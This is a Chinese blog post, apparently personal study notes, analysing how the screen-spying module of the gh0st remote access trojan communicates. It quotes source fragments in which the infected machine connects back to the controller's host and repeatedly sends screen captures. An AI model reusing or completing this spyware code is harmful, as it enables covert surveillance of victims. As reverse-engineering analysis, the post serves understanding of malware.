码迷,mamicode.com
首页 > 其他好文 > 详细

gh0st源码分析:屏幕监控

时间:2015-09-05 23:28:32      阅读:717      评论:0      收藏:0      [点我收藏+]

标签:

这两天一直看gh0st源码,看得也是一头雾水,下面就分析一下屏幕监控的通信过程,对屏幕扫描算法以及绘图方面就不分析了,因为我也不懂。写的有点乱,就当作个笔记了。

首先从控制端按下屏幕监控选项开始,这时控制端就会调用OnScreenspy()函数。这个函数很简单,向被控端发送COMMAND_SCREEN_SPY指令,告诉被控端我要监控你的屏幕了。此时被控端还在等待控制端的命令(ClientSocket.cpp中的Connect函数中新建的线程WorkThread一直等待执行命令),WorkThread线程等到了执行命令,调用OnRead函数对命令解密,接下来调用了CKernelManager::OnReceive函数,OnReceive看到命令是COMMAND_SCREEN_SPY,就创建了Loop_ScreenManager线程:

DWORD WINAPI Loop_ScreenManager(CClientSocket* sRemote)
{
    CClientSocket    socketClient;
    if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
        return -1;
    
    CScreenManager    manager(&socketClient);

    socketClient.run_event_loop();
    return 0;
}

这个线程又调用CClientSocket的Connect连接控制端,并声明了个CScreenManager类,并将socketClientCScreenManager相关联(参见CManager类的构造函数:m_pClient->setManagerCallBack(this);),这样socketClient的WorkThread线程收到的数据就可以传送到了CScreenManager::OnReceive函数中,而不是CKernelManager::OnReceive函数了。

看下CScreenManager 构造函数:

 

CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
    m_bAlgorithm = ALGORITHM_SCAN;
    m_biBitCount = 8;
    m_pScreenSpy = new CScreenSpy(8);
    m_bIsWorking = true;
    m_bIsBlankScreen = false;
    m_bIsBlockInput = false;
    m_bIsCaptureLayer = false;

    m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
    m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}

 

构造函数中又创建了两个线程:WorkThread和ControlThread。WorkThread主要负责发送屏幕页面,ControlThread没看,暂时不知道干啥。看下WorkThread线程:

DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
    CScreenManager *pThis = (CScreenManager *)lparam;
    pThis->sendBITMAPINFO();
    // 等控制端对话框打开
  pThis->WaitForDialogOpen();
    pThis->sendFirstScreen();
    try // 控制端强制关闭时会出错
    {
        while (pThis->m_bIsWorking)
            pThis->sendNextScreen();
    }catch(...){};

    return 0;
}

首先调用sendBITMAPINFO(),发送调色板信息(用TOKEN_BITMAPINFO指令标识)。发送后就等待控制端屏幕监控窗口打开(等待m_hEventDlgOpen事件,当控制端屏幕监控窗口打开时会发送COMMAND_NEXT指令,收到此指令后被控端会调用NotifyDialogIsOpen()函数来设置hEventDlgOpen)。先让被控端在这儿等着吧,接下来我们再回到控制端。

控制端发送完COMMAND_SCREEN_SPY指令后,就继续等待连接(ListenThreadProc线程)和等待接收数据(OnClientReading函数中接收完数据就会调用PostRecv投递了IORead请求)。这时有了新连接(上面Loop_ScreenManager中的连接),于是调用OnAccept函数,并为这个新的连接分配了ClientContext,并建立完成端口,然后在新的完成端口上投递IORead请求,等待接收数据。很快数据来了(调色板信息),OnClientReading函数对数据解密,然后把数据给了NotifyProc函数,NotifyProc函数又调用了ProccessReceiveComplete函数,此时还没有建立屏幕监控窗口,因此pContext->m_Dialog[0] = 0。ProccessReceiveComplete根据TOKEN_BITMAPINFO指令,向主窗口发送了个WM_OPENSCREENSPYDIALOG消息,告诉主窗口建立个屏幕监控的窗口,于是控制端调用OnOpenScreenSpyDialog函数:

LRESULT CkongDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
    ClientContext *pContext = (ClientContext *)lParam;

    CScreenSpyDlg    *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
    // 设置父窗口为卓面
    dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
    dlg->ShowWindow(SW_SHOW);
    
    pContext->m_Dialog[0] = SCREENSPY_DLG;
    pContext->m_Dialog[1] = (int)dlg;
    return 0;
}

创建了屏幕监控窗口,并对pContext->m_Dialog赋值。m_Dialog[0]标识是屏幕监控窗口,m_Dialog[1]指向此窗口。这样ProccessReceiveComplete函数就可以根据pContext->m_Dialog直接将数据传给CScreenSpyDlg了。建立了CScreenSpyDlg窗口,就要调用OnInitDialog函数,在CScreenSpyDlgOnInitDialog函数中,有调用了SendNext()函数:

 

void CScreenSpyDlg::SendNext()
{
    BYTE    bBuff = COMMAND_NEXT;
    m_iocpServer->Send(m_pContext, &bBuff, 1);
}

 

发送COMMAND_NEXT指令给被控端。前面说了,被控端在发送调色板信息后就等待COMMAND_NEXT指令。

回到被控端,收到了数据,数据解密后传到了CScreenManager::OnReceive函数中,根据COMMAND_NEXT指令调用了NotifyDialogIsOpen()函数,NotifyDialogIsOpen函数设置了m_hEventDlgOpen事件, CScreenManager的WorkThread线程中WaitForDialogOpen()返回,于是执行pThis->sendFirstScreen(),发送第一个屏幕画面,用TOKEN_FIRSTSCREEN来标识。

控制端收到数据后到了ProccessReceiveComplete函数,根据m_Dialog将数据传给了CScreenSpyDlg中的OnReceiveComplete()函数,根据相关指令来重绘屏幕监控窗口。接下来被控端不停的发,控制端就不停的重绘.........

 还没分析完,还有发送控制命令那一块没看,有时间再写。

 

gh0st源码分析:屏幕监控

标签:

原文地址:http://www.cnblogs.com/royhawk/p/4784084.html

(0)
(2)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!